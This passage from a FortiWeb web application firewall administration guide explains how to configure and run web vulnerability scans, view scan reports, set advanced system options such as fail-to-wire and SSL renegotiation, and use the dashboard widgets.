Start/Stop	The <i>Start/Stop</i> icon appears only if the policy is configured as <i>Run Now</i> . If so, the icon changes depending on the current status of the scan: • Stop — The scan associated with the policy is in progress. • Start — The scan associated with the policy is not in progress.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Vulnerability Scan Configuration* category. For details, see [“Permissions” on page 46](#).

4. Click *Create New*.
A dialog appears.

5. Configure these settings:



Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Type	Select the scheduling type, either: • Run Now — The scan can be manually started at any time by the user. See “Manually starting & stopping a vulnerability scan” on page 502. • Schedule — The scan is performed according to the schedule defined in Schedule.
Schedule	Select the predefined schedule to use for the scan. See “Scheduling web vulnerability scans” on page 494 . This option appears only if the <i>Type</i> is <i>Schedule</i> .
Profile	Select the profile to use when running the vulnerability scan. See “Configuring vulnerability scan settings” on page 495 .
Report Format	Enable one or more file formats for the vulnerability scan report: • HTML • MHT (MIME HTML, which can be included in email) • PDF • RTF (Rich Text Format, which can be opened in word processors such as OpenOffice or Microsoft Word) • TXT (plain text)
Email	Select the email settings, if any, to use in order to send results of the vulnerability scan. See “Configuring email settings” on page 563 .

6. Click *OK*.

If *Type* is *Run Now*, the scan begins immediately. Otherwise, it will begin at the time that you configured in [Schedule](#). Time required varies by the network speed and traffic volume, load of the target hosts (especially the number of request timeouts), and your configuration of [Delay Between Each Request](#).

When the scan is complete, FortiWeb generates a report based on the scan results. See [“Viewing vulnerability scan reports” on page 503](#).

See also

- [Preparing for the vulnerability scan](#)
- [Configuring vulnerability scan settings](#)
- [Scheduling web vulnerability scans](#)
- [Manually starting & stopping a vulnerability scan](#)


Manually starting & stopping a vulnerability scan

If the schedule type associated with the vulnerability scan policy is set to *Run Now*, You can manually start and stop a scan. (You cannot manually start a scan that is scheduled.)

To manually start a scan

1. Go to *Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Scan Policy*.
2. Locate a vulnerability scan whose *Schedule* column says *Run Now* and whose status indicator is green (idle).

You cannot manually start a scan that has been scheduled in advance, or that is currently in progress.



3. In the row for that vulnerability scan, click the *Start* icon.

FortiWeb connects to the target host configured in the profile and, if enabled to do so, authenticates. The status indicator flashes red and yellow while the scan is running.

When the scan is finished the status indicator returns to green (idle).

A summary of scan results appears in the section hidden by the blue expansion arrow. To reveal them, click the arrow.

You can view and/or download the full scan report via the web UI (see [“Viewing vulnerability scan reports” on page 503](#) and [“Downloading vulnerability scan reports” on page 504](#)). If email settings were selected in the scan, a scan report is also delivered to its recipients.

To stop a scan

1. Go to *Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Scan Policy*.
2. Locate a vulnerability scan whose status indicator is flashing red and yellow, indicating that the scan is running.
3. In the row for that vulnerability scan, click the *Stop* icon.

The vulnerability scan stops. The status indicator returns to green (idle). You can In the *Name* column, you can click the blue expansion arrow to view a summary of the scan results to the point where you stopped the scan.

See also

- [Preparing for the vulnerability scan](#)
- [Configuring vulnerability scan settings](#)
- [Scheduling web vulnerability scans](#)
- [Running vulnerability scans](#)
- [Viewing vulnerability scan reports](#)

Viewing vulnerability scan reports

After a web vulnerability scan completes, the FortiWeb appliance generates a report summarizing and analyzing the results of the scan. If you configured it to email the report to you when complete, you may receive the report in your inbox. However, you can also view and download it through the web UI.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Vulnerability Scan Configuration* category. For details, see [“Permissions” on page 46](#).

Table 43: *Web Vulnerability Scan > Web Vulnerability Scan > Scan History*


Delete View Download						
	#	Target Server	URLs Found	Alerts Found	Scan Time	Scan Mode
☐	1	www.example.com	1	0	2011-03-06 00:00:00	Basic Mode
☐	2	www.example.com	1	0	2011-02-27 00:00:00	Basic Mode
☐	3	www.example.com	0	0	2011-02-20 00:00:00	Basic Mode
☐	4	www.example.com	1	0	2011-02-13 00:00:00	Basic Mode
☐	5	www.example.com	0	0	2011-02-06 00:00:00	Basic Mode
☐	6	www.example.com	0	0	2011-02-04 14:35:30	Basic Mode
☒	7	www.example.com	1	0	2011-02-02 13:47:28	Basic Mode

Field	Description
View	Click to view a scan report. See “Downloading vulnerability scan reports” on page 504 .
Download	Click to download a copy of a scan report. See “Downloading vulnerability scan reports” on page 504 .
Target Server	Displays the host name of the server that was scanned for vulnerabilities. Click this link to view the scan report associated with this server.
URLs Found	Displays the number of URLs on the target host that were scanned for vulnerabilities.
Alerts Found	Displays the total number of vulnerabilities discovered during the scan.
Scan Time	Displays the date and time that the scan was performed.
Scan Mode	Indicates whether the scan job used <i>Basic Mode</i> (use HTTP GET only and omit both user-defined and predefined sensitive URLs) or <i>Enhanced Mode</i> (use both HTTP POST and GET, excluding only user-defined URLs).

Scan report contents

The web vulnerability scan report is divided into sections for a summary, discovered vulnerabilities and affected URLs.

Figure 50: Viewing a vulnerability report



See also

- [Preparing for the vulnerability scan](#)
- [Configuring vulnerability scan settings](#)
- [Running vulnerability scans](#)
- [Scheduling web vulnerability scans](#)
- [Manually starting & stopping a vulnerability scan](#)

Downloading vulnerability scan reports

The report contents are the same when using the *Download* or *View* feature, though the presentation varies.

To download a scan report

1. Go to *Web Vulnerability Scan > Web Vulnerability Scan > Scan History*.
2. Mark the check box next to the scan report that you want to download.

	Delete	View	Download		#	Target Server	URLs Found	Alerts Found	Scan Time	Scan Mode
☐				1	1	www.example.com	1	0	2011-03-06 00:00:00	Basic Mode
☐				2	2	www.example.com	1	0	2011-02-27 00:00:00	Basic Mode
☐				3	3	www.example.com	0	0	2011-02-20 00:00:00	Basic Mode
☐				4	4	www.example.com	1	0	2011-02-13 00:00:00	Basic Mode
☐				5	5	www.example.com	0	0	2011-02-06 00:00:00	Basic Mode
☐				6	6	www.example.com	0	0	2011-02-04 14:35:30	Basic Mode
☒				7	7	www.example.com	1	0	2011-02-02 13:47:28	Basic Mode

3. Click *Download*.
A dialog appears.
4. Click *Download Report File*.
A file download prompt appears.
5. Click *Save*.

6. If prompted, select the location on your computer to store the HTML report.

See also

- [Preparing for the vulnerability scan](#)
- [Configuring vulnerability scan settings](#)
- [Running vulnerability scans](#)
- [Scheduling web vulnerability scans](#)
- [Manually starting & stopping a vulnerability scan](#)
- [Viewing vulnerability scan reports](#)

Advanced/optional system settings

The *System* menu configures a variety of settings that apply to the entire FortiWeb appliance.



Many system settings must be configured during the initial installation. ***This section only contains optional settings that can be configured later.*** For required system settings, see the appropriate section of [“How to set up your FortiWeb” on page 59](#).

Changing the FortiWeb appliance's host name

The host name of the FortiWeb appliance is used in several places.

- The name appears in the *System Information* widget on *System > Status > Status*. For more information about the *System Information* widget, see [“System Information widget” on page 515](#).
- It is used in the command prompt of the CLI.
- It is used as the SNMP system name. For information about SNMP, see [“SNMP traps & queries” on page 567](#).

The *System Information* widget and the `get system status` CLI command display the full host name. If the host name is longer than 16 characters, the name may be truncated and end with a tilde (~) to indicate that additional characters exist, but are not displayed.

For example, if the host name is FortiWeb1234567890, the CLI prompt would be FortiWeb123456789~#.

Administrators whose access profiles permit *Write* access to items in the *System Configuration* category can change the host name.



You can also configure the local domain name of the FortiWeb appliance. For details, see [“Configuring DNS settings” on page 128](#).

To change the host name of the FortiWeb appliance

1. Go to *System > Status > Status*.
2. In the *System Information* widget, in the *Host Name* row, click *Change*.
3. In the *New Name* field, type a new host name.

The host name can be up to 35 characters in length. It can include US-ASCII letters, numbers, hyphens, and underscores, but **not** spaces and special characters.

4. Click *OK*.

See also

- [System Information widget](#)

Fail-to-wire for power loss/reboots

If your appliance's hardware model, network cabling, and configuration supports it, you can configure fail-to-wire/bypass behavior. This allows traffic to pass through unfiltered between 2 ports (a link pair) while the FortiWeb appliance is shut down, rebooting, or has unexpectedly lost power such as due to being accidentally unplugged or PSU failure.



Fail-open is supported **only**:

- in true transparent proxy mode or transparent inspection operation mode
- in standalone mode (**not** HA)
- for a bridge (V-zone) between ports wired to a CP7 processor or other hardware which provides support for fail-to-wire
 - FortiWeb 1000C: port3 + port4
 - FortiWeb 3000C/D: port5 + port6
 - FortiWeb 4000C/D: port5 + port6 or port7 + port8
 - FortiWeb 3000CFsx/DFsx: port5 + port6 or port7 + port8

FortiWeb-400B/400C, FortiWeb HA clusters, and ports not wired to a CP7/fail-open chip do **not** support fail-to-wire.



In the case of HA, don't use fail-open — instead, use a standby HA appliance to provide full fault tolerance.

Bypass results in degraded security while FortiWeb is shut down, and therefore HA is usually a better solution: it ensures that degraded security does not occur if one of the appliances is shut down. If it is possible that **both** of your HA FortiWeb appliance could simultaneously lose power, you can add an external bypass device such as [FortiBridge](#).

Fail-to-wire may be useful if you are required by contract to provide uninterrupted connectivity, or if you consider connectivity interruption to be a greater risk than being open to attack during the power interruption.

Aside from the usual network topology requirements for the transparent operation modes, there are no special requirements for fail-to-wire. During setup, after setting the operation mode, you will simply go to *System > Network > Fail-open* then select either:

- *PowerOff-Bypass* — Behave as a wire when the FortiWeb appliance is powered off, allowing connections to pass directly through from one port to the other, bypassing all policy scans and modifications.
- *PowerOff-Cutoff* — Interrupt connectivity when the FortiWeb appliance is powered off. Bypass is disabled. This is the default.


Fail-open Setting

port3-port4 ☒ PowerOff-Cutoff ☐ PowerOff-Bypass

Apply

- Topology for either of the transparent modes
- System Information widget
- Configuring a high availability (HA) FortiWeb cluster

Several system-wide options that determine how FortiWeb scans traffic and caches server responses are configurable on *System > Config > Advanced*.



Advanced

Shared IP☐

Directs source IP addresses that are shared by multiple clients.

Recursive URL Decoding☐

Request URLs are encoded multiple times, decodes until the URL is no longer encoded. May decrease performance.

Maximum Body Cache Size KB

Limits the maximum size for body compression, decompression, rewriting and XML detection. Increasing the body cache may decrease performance.

Maximum DLP Cache Size

12% (8KB)

020406080100

Limits the maximum size scanned by DLP. To further increase this buffer, increase Max. Body Cache Size. (This buffer must be less than Maximum Body Cache Size.) Increasing the size may decrease performance.

Disable Client-Initiated SSL Renegotiation☒

Discards client requests for SSL/TLS renegotiation to protect against DoS attacks that use the disproportionate server-side computing burden during SSL/TLS renegotiation.

Prioritize RC4 Cipher Suite☐

Prioritizes the RC4 cipher suite first during the SSL/TLS handshake. Protects against the BEAST attack. Reverse Proxy deployments only.

Apply

Setting Name	Description
Shared IP	Enable to analyze the identification (ID) field in IP packet headers in order to distinguish source IP addresses that are actually Internet connections shared by multiple clients, not single clients. For an example, see “Example: Setting a separate rate limit for shared Internet connections” on page 510. You can configure the ID difference threshold that triggers shared IP detection. For details, see <code>config system ip-detection</code> in the FortiWeb CLI Reference. Note: The shared IP address rate limit for some features (see “Preventing brute force logins” on page 352 and “Limiting the total HTTP request rate from an IP” on page 329) will be ignored unless you enable this option. Tip: To improve performance and reduce memory consumption, if all source IP addresses should receive the same rate limit regardless of the number of clients sharing each connection, disable this option.
Recursive URL Decoding	Enable to detect URL-embedded attacks that are obfuscated using recursive URL encoding (that is, multiple levels’ worth of URL encoding). Encoded URLs can be legitimately used for non-English URLs, but can also be used to avoid detection of attacks that use special characters. Encoded URLs can now be decoded to scan for these types of attacks. Several encoding types are supported. For example, you could detect the character <code>A</code> that is encoded as either <code>%41</code>, <code>%x41</code>, <code>%u0041</code>, or <code>\t41</code>. Disable to decode only one level, if the URL is encoded.
Maximum Body Cache Size	Type the maximum size in kilobytes (KB) of the body of the HTTP response from the web server that FortiWeb will cache per URL. Responses are cached to improve performance on compression, decompression, and rewriting on often-requested URLs. Valid values range from 32 to 1,024. The default value is 64.
Maximum DLP Cache Size	Type the maximum size in kilobytes (KB) of the body of the HTTP response from the web server that FortiWeb will buffer and scan. Responses are cached to improve performance on compression, decompression, and rewriting on often-requested URLs. Valid values vary by Maximum Body Cache Size.

Setting Name	Description
Disable Client-Initiated SSL Renegotiation	Enable to prevent client-initiated SSL/TLS renegotiation. According to RFC 5246, either the client or the server can re-negotiate the connection in order to change cryptographic keys and other parameters. However, SSL/TLS renegotiation attacks exist to take advantage of the fact that the negotiation phase is more processing-intensive for the server than it is for the client. By repeatedly initiating renegotiations, clients can cause a DoS.
Prioritize RC4 Cipher Suite	Enable to prefer the RC4 encryption algorithm, if the client's hello during the handshake advertises support for it. In older TLS 1.0 implementations, including the NSS cryptographic package used by Mozilla Firefox and Google Chrome web browsers, both AES and 3DES are vulnerable to initialization vector (IV)-based cipher block chaining (CBC) attacks due to using the same IV repeatedly. This causes the cipher blocks to become predictable, and therefore vulnerable to a MITM eavesdropper. Because RC4 is a stream cipher, which does not use CBC, it is not vulnerable to the BEAST attack. Caution: Known attacks also exist for RC4, depending on the implementation. Weigh the risks and benefits carefully. You should never use a cipher that is weaker than the value of the data that it is protecting, but clients may be unaware that they are configured to offer weaker ciphers, and will use them if the server (or FortiWeb) agrees. For information on cipher suites supported by FortiWeb, see “Supported cipher suites & protocol versions” on page 269.

See also

- [Limiting the total HTTP request rate from an IP](#)
- [Preventing brute force logins](#)
- [Example: Setting a separate rate limit for shared Internet connections](#)
- [Blocking known attacks & data leaks](#)
- [Rewriting & redirecting](#)
- [Compression & decompression](#)
- [Supported cipher suites & protocol versions](#)

Example: Setting a separate rate limit for shared Internet connections

The small ice cream shop Tiny Treats might have only one network-connected smart cash register. Any request from that public IP likely comes, therefore, from that single client (unless they have not secured their WiFi network...). There is a 1:1 ratio of clients to source IP addresses from FortiWeb's perspective.

Down the street, Giant Gelato, which distributes ice cream to eight provinces, might have a LAN for the entire staff of 250 people, each with one or more computers. Requests that come from the Giants Gelato office's public IP therefore may actually originate from many possible clients, and therefore normally could be much more frequent. However, like many offices, the LAN uses source IP network address translation (SNAT) at the point that it links to the Internet. As a result, from FortiWeb's perspective, the private network address of each client is impossible to know: it only knows the single public IP address of Giant Gelato's router. So there is a single source IP address for Giant Gelato. However, there is a 250:1 ratio of clients to the source IP address.

This is a big proportionate difference. While a low rate limit might seem generous to Tiny Treats, Giant Gelato would be unhappy if you applied the same rate limit to its IP address.

Let's say that both companies need access to the same ice cream inventory web application: Tiny Treats buys from Giant Gelato. Each view in the application contains the page itself, but also up to 15 images of ice cream, 3 external JavaScripts, and an external CSS style sheet, for a total of 20 HTTP requests in order to produce each view.

40 requests per second then might be more than adequate for Tiny Treats: the clerk could page through the inventory twice every second, if she wanted to.

But for Giant Gelato, its clients would frequently see completely or half-broken views: some images or CSS would be missing, or page requests denied the first or second time, because some other clients on Giant Gelato's LAN had already consumed the 40 requests allowed to it per second of time. Normal use would be impossible.

To be practical, then, you would **not** base your rate limiting solely on the source IP address of requests. Instead, you would want dual thresholds:

- a lower threshold for sources that are a single client
- a higher threshold when multiple clients are behind the same source IP address

You could enable [Shared IP](#) so that FortiWeb could know to permit more requests per second from Giant Gelato than from Tiny Treats. Because Giant Gelato's ID fields would **not** usually be continuous as a single client's usually would be, FortiWeb could then apply a different, higher limit.

See also

- [Advanced settings](#)
- [Limiting the total HTTP request rate from an IP](#)
- [Preventing brute force logins](#)

Remaining diligent

“Secure” is an action, an ongoing way to behave; it is **not** a set-and-forget device. Each day, vulnerabilities, known exploits, and best practices can change.

Knowledge is power.

To get the most value out of your FortiWeb appliance, use it to keep informed about your network — not just to protect it. FortiWeb appliances have many tools that you can use to monitor statuses, traffic, and attacks. You can also use them to discover new web server vulnerabilities.

See also

- [RAID level & disk statuses](#)

The dashboard


System > Status > Status appears when you log in to the web UI. It contains a dashboard with widgets that each indicate performance level or other system statuses.

Each day, check the dashboard for obvious problems.

By default, the dashboard contains the following widgets:

- [System Information widget](#)
- [FortiGuard Information widget](#)
- [CLI Console widget](#)
- [System Resources widget](#)
- [Attack Log Console widget](#)
- [Real Time Monitor widget](#)
- [Event Log Console widget](#)
- [Server Status widget](#)
- [Policy Sessions widget](#)
- [Operation widget](#)

Figure 51: Viewing the dashboard (*System > Status > Status*)




In the default dashboard setup, widgets display the serial number and current system status of the FortiWeb appliance, including uptime, system resource usage, event log messages, host name, firmware version, system time, and status of connected web servers and policy sessions. The dashboard also contains a CLI widget that enables you to use the command line interface (CLI) through the web UI.

To customize the dashboard, select which widgets to display, where they are located on the page, and whether they are minimized or maximized.

To move a widget, position your mouse cursor on the widget's title bar, then click and drag the widget to its new location.

To display any of the widgets not currently shown on *System > Status > Status*, click *Add Content*. Any widgets currently already displayed on *System > Status > Status* will be grayed out in the *Add Content* menu, as you can only have one of each display on the page.

Figure 52:Adding a widget



To display the default set of widgets on the dashboard, select *Back to Default*.

To see the available options for a widget, position your mouse cursor over the icons in the widget's title bar. Options vary slightly from widget to widget, but always include options to close, minimize or maximize the widget.

Figure 53:A minimized widget



Button/field	Description
Widget Title	The name of the widget.
Disclosure arrow	Click to maximize or minimize the widget. This arrow replaces the widget's icon when you place your mouse cursor over the title bar.
Edit	The <i>CLI Console</i> widget title bar includes an <i>Edit</i> icon. Click it to change settings for the widget.
Refresh	Click to update the displayed information. This option does not appear on the <i>CLI Console</i> widget.
Close	Click to close the widget on the dashboard. You will be prompted to confirm the action. To show the widget again, click <i>Add Content</i> near the top of the page.

To access the dashboard, your administrator's account access profile must have *Read* permission to items in the *System Configuration* category. To use features that alter the FortiWeb or perform actions, you may also need *Write* permissions in various categories. For details, see [“Permissions” on page 46](#).

System Information widget

The *System Information* widget on the dashboard displays the serial number and the status of basic systems, such as the firmware version, system time, up time, and host name, and high availability (HA) status.

In addition to displaying system information, the *System Information* widget enables you to configure some basic attributes such as the host name, operation mode, and high availability (HA) mode, and to change the firmware.

FortiWeb administrators whose access profiles permit *Write* access to items in the *System Configuration* category, can change the system time, host name, firmware, and operation mode, and high availability (HA) mode.

Table 45: *System Information* widget

System Information	
Host Name	FortiWeb [Change]
Serial Number	FVVM020000003619
Operation Mode	Reverse Proxy [Change]
HA Status	Standalone [Configure]
System Time	Sun May 19 15:14:40 2013 [Change]
Firmware Version	FortiWeb-VM 5.00,build0009,130517 [Update]
System Uptime	0 day(s) 1 hour(s) 49 min(s)

Field	Description
Host Name	Displays the host name of the FortiWeb appliance. Click <i>Change</i> to change the host name. See “Changing the FortiWeb appliance’s host name” on page 506.
Serial Number	Displays the serial number of the FortiWeb appliance. Use this number when registering the hardware or virtual appliance with Fortinet Technical Support. On hardware appliance models of FortiWeb, the serial number (e.g. <i>FV-3KC3R11111111</i>) is specific to the FortiWeb appliance’s hardware and does not change with firmware upgrades. On virtual appliance (FortiWeb-VM) models, the serial number indicates the maximum number of vCPUs that can be allocated according to the FortiWeb-VM software license, such as <i>FVVM020000003619</i> (where “VM02” indicates a limit of 2 vCPUs). If it is <i>FVVM00UNLICENSED</i>, the FortiWeb-VM license has not been successfully validated, and FortiWeb is operating with a limited trial license.
Operation Mode	Displays the current operation mode of the FortiWeb appliance, either: • <i>Reverse Proxy</i> • <i>Offline Protection</i> • <i>True Transparent Proxy</i> • <i>Transparent Inspection</i> The default operation mode is <i>Reverse Proxy</i>. For details on the operation modes, see “Setting the operation mode” on page 92. Click <i>Change</i> to switch the operation mode. Caution: Back up the configuration before changing the operation mode. Changing modes deletes any policies not applicable to the new mode, static routes, V-zone IPs, and VLANs. For instructions on backing up the configuration, see “Backups” on page 204.
HA Status	Displays the status of high availability (HA) for this appliance, either <i>Standalone</i> or <i>Active-Passive</i>. The default value is <i>Standalone</i>. Click <i>Configure</i> to configure the HA status for this appliance. See “Configuring a high availability (HA) FortiWeb cluster” on page 95.

Field	Description
System Time	Displays the current date and time according to the FortiWeb appliance's internal clock. Click <i>Change</i> to change the time or configure the FortiWeb appliance to get the time from an NTP server. See “Setting the system time & date” on page 89.
Firmware Version	Displays the version of the firmware currently installed on the FortiWeb appliance. Click <i>Update</i> to install a new version of firmware. See “Updating the firmware” on page 75.
System Uptime	Displays the time in days, hours, and minutes since the FortiWeb appliance last started.

See also

- [Changing the FortiWeb appliance's host name](#)

FortiGuard Information widget

The *FortiGuard Information* widget on the dashboard displays Fortinet Technical Support registration, licensing and FortiGuard service update information.

Table 46:FortiGuard Information widget

FortiGuard Information	
VM License	Valid [Update]
Registration	cschwartz@fortinet.com
FortiWeb FortiGuard Subscription Services	
FortiWeb Security Service	Expired (1969-12-31) Last Update Time:2013-01-11 Last Update Method: Scheduled Signature Build Number-0.00072
FortiWeb Antivirus Service	Valid Contract (Expires 2020-01-04) Last Update Time:2013-01-11 Last Update Method: Scheduled Regular Virus Database Version-17.2 Extended Virus Database Version-16.967
FortiWeb IP Reputation Service	Valid Contract (Expires 2020-01-04) Last Update Time:2013-01-11 Last Update Method: Scheduled Signature Build Number-1.00013

Field	Description
VM License	Indicates whether or not this FortiWeb-VM appliance has a paid software license. The license affects the maximum number of allocatable vCPUs (see the FortiWeb-VM Install Guide). Possible states are: • Valid — The appliance has a valid, non-trial license. Serial Number indicates the maximum number of vCPUs that can be allocated according to this license. See “System Information widget” on page 515. To increase the number of vCPUs that this appliance can utilize, invalidate the current license by allocating more vCPUs in your virtual machine environment (e.g. VMware), then upload a new license. For details, see the FortiWeb-VM Install Guide. • Invalid — License either was not valid, or is currently a trial license. To upload a purchased license, click <i>Update</i>. This appears only in FortiWeb-VM.
Registration	Indicates which account registered this appliance with Fortinet Technical Support. Possible states are: • Unregistered — Not registered with Fortinet Technical Support. • <registration_email> — Registered with Fortinet Technical Support. To manage technical support contracts, download firmware or MIBs or geography-to-IP mappings, or see FortiGuard service contracts for this device, go to <i>System > Maintenance > Auto Update</i> then next to the registration email, click <i>Login</i>. A new window will appear where you can log in to the Fortinet Technical Support web site.

Field	Description
FortiWeb Security Service	Indicates the validity of the appliance's contract for FortiGuard FortiWeb Security Service, which provides updates via the Internet from Fortinet's FDN for: • attack signatures • predefined data types • predefined suspicious URLs • global white list objects Possible states are: • Valid — The appliance currently has a valid, non-trial license, and can download updates itself from the FDN. You can trigger this manually and/or schedule the appliance to regularly poll and automatically install the newest available package updates. See “Connecting to FortiGuard services” on page 132. • Expired — The contract is no longer in effect. To renew, either contact your reseller or go to the Fortinet Technical Support web site. Also indicates the current version number of the installed service package, the expiry date of the service contract (if any) for this appliance, and the previous time and method of update.

Field	Description
FortiWeb Antivirus Service	Indicates the validity of the appliance's contract for FortiGuard Antivirus Service, which provides updates via the Internet from Fortinet's FDN for virus signatures. Possible states are: • Valid — The appliance currently has a valid, non-trial license, and can download updates itself from the FDN. You can trigger this manually and/or schedule the appliance to regularly poll and automatically install the newest available package updates. See “Connecting to FortiGuard services” on page 132. • Expired — The contract is no longer in effect. To renew, either contact your reseller or go to the Fortinet Technical Support web site. Also indicates the current version number of the installed service package, the expiry date of the service contract (if any) for this appliance, and the previous time and method of update.
FortiWeb IP Reputation Service	Indicates the validity of the appliance's contract for FortiGuard IRIS Service, which provides updates via the Internet from Fortinet's FDN for known botnets, malicious clients, and anonymizing proxies. Possible states are: • Valid — The appliance currently has a valid, non-trial license, and can download updates itself from the FDN. You can trigger this manually and/or schedule the appliance to regularly poll and automatically install the newest available package updates. See “Connecting to FortiGuard services” on page 132. • Expired — The contract is no longer in effect. To renew, either contact your reseller or go to the Fortinet Technical Support web site. Also indicates the current version number of the installed service package, the expiry date of the service contract (if any) for this appliance, and the previous time and method of update.

For information on updates, see [“Connecting to FortiGuard services” on page 132](#).

See also

- [Blacklisting source IPs with poor reputation](#)
- [Blocking known attacks & data leaks](#)
- [Antivirus Scan](#)

CLI Console widget

The *CLI Console* widget on the dashboard enables you to enter CLI commands through the web UI, without making a separate Telnet, SSH, or local console connection to access the CLI.




The *CLI Console* widget requires that your web browser support JavaScript.

To use the console, first click within the console area. Doing so automatically logs you in using the same administrator account you used to access the web UI. You can then type commands into the *CLI Console* widget. Alternatively, you can copy and paste commands from or into the console.

The prompt, by default the model number such as FortiWeb-3000C #, contains the host name of the FortiWeb appliance. To change the host name, see [“Changing the FortiWeb appliance’s host name” on page 506](#).


For information on available commands, see the [FortiWeb CLI Reference](#).

Figure 54:CLI Console widget



Click the *Edit* icon on the widget’s title bar to open the *Console Preferences* pop-up window. Use this dialog to change the buffer length and input method, as well as the appearance of the console.

Table 47: CLI Console Preferences window



Setting/button/field	Description

Preview (pane)	Shows a preview of your changes to the <i>CLI Console</i> widget's appearance.

Text	Click the current color swatch to the left of this label, then click a color from the color palette to the right to change the color of the text in the <i>CLI Console</i> .

Background	Click the current color swatch to the left of this label, then click a color from the color palette to the right to change the color of the background in the <i>CLI Console</i> .

Use external command input box	Select to display a command input field below the normal console emulation area. When this option is enabled, you can enter commands by typing them into either the console emulation area or the external command input field.

Console buffer length	Type the number of lines the console buffer keeps in memory. The valid range is from 20 to 9999.

Font	Select a font from the list to change the display font of the <i>CLI Console</i> .

Size	Select the size in points of the font. The default size is 10 points.

Reset Defaults (button)	Click to reset the CLI console preferences to the factory default settings.

See also

- [System Information widget](#)


System Resources widget

The *System Resources* widget on the dashboard displays CPU and memory usage.



The widget displays CPU and memory usage as a dial gauge and as a percentage of the usage for core processes only. CPU and memory usage for management processes (for example, for HTTPS connections to the web UI) is excluded.

Figure 55: *System Resources* widget



Disk usage is **not** displayed. To determine your available disk space, connect to the CLI and enter the command:

```
diagnose system mount list
```

Attack Log Console widget

The *Attack Log Console* widget displays the latest attack logs. Attack logs are recorded when there is an attack or intrusion attempt against the web servers protected by the FortiWeb appliance.

Attack logs help you track policy violations. Each message shows the date and time that the attack attempt occurred. For more information, see [“Viewing log messages” on page 544](#).



Attack log messages can also be delivered by email, Syslog, FortiAnalyzer, or SNMP. For more information, see [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#), [“Configuring logging” on page 532](#), and [“SNMP traps & queries” on page 567](#).


Figure 56:Attack Log Console widget

Attack Log Widget	
2012-06-07 10:12:58	SQL Injection (Extended) : Signature ID 040000136
2012-06-07 10:12:58	SQL Injection (Extended) : Signature ID 040000108
2012-06-07 10:12:58	SQL Injection : Signature ID 030000108
2012-06-07 10:03:27	SQL Injection (Extended) : Signature ID 040000108
2012-06-07 10:03:27	SQL Injection : Signature ID 030000108
2012-06-07 09:57:58	filename [Auto Learn-draft.pdf]: Illegal file type
2012-06-07 09:57:58	filename [Auto Learn-draft.pdf]: Illegal file size
2012-06-06 20:47:44	Generic Attacks-Command Injection : Signature ID 050050050
2012-06-06 20:46:37	Cross Site Scripting (Extended) : Signature ID 020000063
2012-06-06 20:46:37	Cross Site Scripting : Signature ID 010000063

Real Time Monitor widget

The *Real Time Monitor* widget on the dashboard displays three graphs.

Figure 57:Real Time Monitor widget



- *HTTP Traffic Monitor* — Displays the traffic volume throughput during each time period.
- *Attack Event History* — Displays the number of each type of common exploit, SQL injection, cross-site scripting (XSS), or information disclosure attacks that were prevented.
- *HTTP Hit History* — Displays the total number of page requests.

For each graph, you can select which policy's statistics to view and the size of the interval (*Rate threshold* or *Time interval*) represented by each appliance on the graph.

By positioning your cursor over a point in the graph, you can display information for that point in time, such as (for *HTTP Traffic Monitor*) the traffic volume at that point in time.

See also

- [Configuring a server policy](#)
- [Configuring a protection profile for inline topologies](#)
- [Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)

Event Log Console widget

The *Event Log Console* widget on the dashboard displays log-based messages.

Event logs help you track system events on your FortiWeb appliance such as firmware changes, and network events such as changes to policies. Each message shows the date and time that the event occurred. For more information, see [“Viewing log messages” on page 544](#).



Event log messages can also be delivered by email, Syslog, FortiAnalyzer, or SNMP. For more information, see [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#), [“Configuring log destinations” on page 536](#), and [“SNMP traps & queries” on page 567](#).

Figure 58: *Event Log Console* widget

! Event Log Console		
2013-01-16 12:27:42	policy policy1 Physical Server[laptop-apache:80] is up	
2013-01-16 12:27:41	User admin modified Pserver laptop-apache from GUI(172.20.120.223) .	
2013-01-16 12:27:39	User admin modified Pserver laptop-apache from GUI(172.20.120.223) .	
2013-01-16 12:27:34	policy policy1 Physical Server[laptop-apache:80] is up	
2013-01-16 12:27:33	policy policy1 refreshed to free resources	
2013-01-16 12:27:19	Fortiweb ip intelligence signature is already up-to-date	
2013-01-16 12:27:19	Fortiweb virus engine is already up-to-date	
2013-01-16 12:27:19	Fortiweb virus extend signature is already up-to-date	
2013-01-16 12:27:19	Fortiweb virus signature update succeeded	
2013-01-16 12:27:19	Fortiweb waf signature is already up-to-date	

Server Status widget

The *Server Status* widget on the dashboard lists configured policies, the real servers (physical and domain servers) associated with the policy, and the up/down status of the servers associated with the policy.

Figure 59: *Server Status* widget



#	Policy Name	Real Server	Server Status
1	policy1	mantis:80	
		mantis2:8080	

The *Policy Name* column shows the name of the policy. For information on policies, see [“Configuring a server policy” on page 470](#).

The *Real Server* column lists the real servers that the policies protect, and to which they (depending on the operation mode) forward traffic. For details, see [“Defining your web server by its IP address” on page 241](#) and [“Defining your web server by its DNS domain name” on page 243](#).

The *Server Status* column varies by whether your policy organizes your web servers into a server farm. For server farms, it shows the up/down status as determined by server health check connectivity tests.

There may be multiple icons in this column. To determine which web server is associated with an icon, hover your mouse cursor over the icon. The name of the web server then appears in a tool tip.

- **No icon** — No associated server health check can be configured, because the policy connects to a single, standalone server. (Server health checks are not supported by policies whose *Deployment Mode* is *Single Server*.)



To make server health checks for a single server, instead of configuring the policy with a *Deployment Mode* of *Single Server*, create a server farm and add that web server as the sole member, then select that server farm in the policy.

- **Green icon** — The server health check is currently detecting that the web server is responsive to connections (“up”).



The green icon does **not** indicate whether the policy is enabled or disabled. Depending on the operation mode, a disabled policy may block traffic from clients to the web server, effectively causing the web server to appear to be “down” to clients, even though it is “up” to FortiWeb. See [“Enabling or disabling a policy” on page 483](#).

It also does **not** indicate both HTTP and HTTPS separately. Protocol and port number used are according to your configuration in the server farm.

- **Flashing yellow-to-red or grey icon** — Either:
 - no server health check is currently configured for that combination of server farm and policy
 - the server health check is currently detecting that the web server is **not** responsive to connections (“down”)

The method that the FortiWeb appliance will use to reroute connections to an available server varies by your configuration of *Deployment Mode*. For information on server health checks, see [“Configuring server up/down checks” on page 244](#).

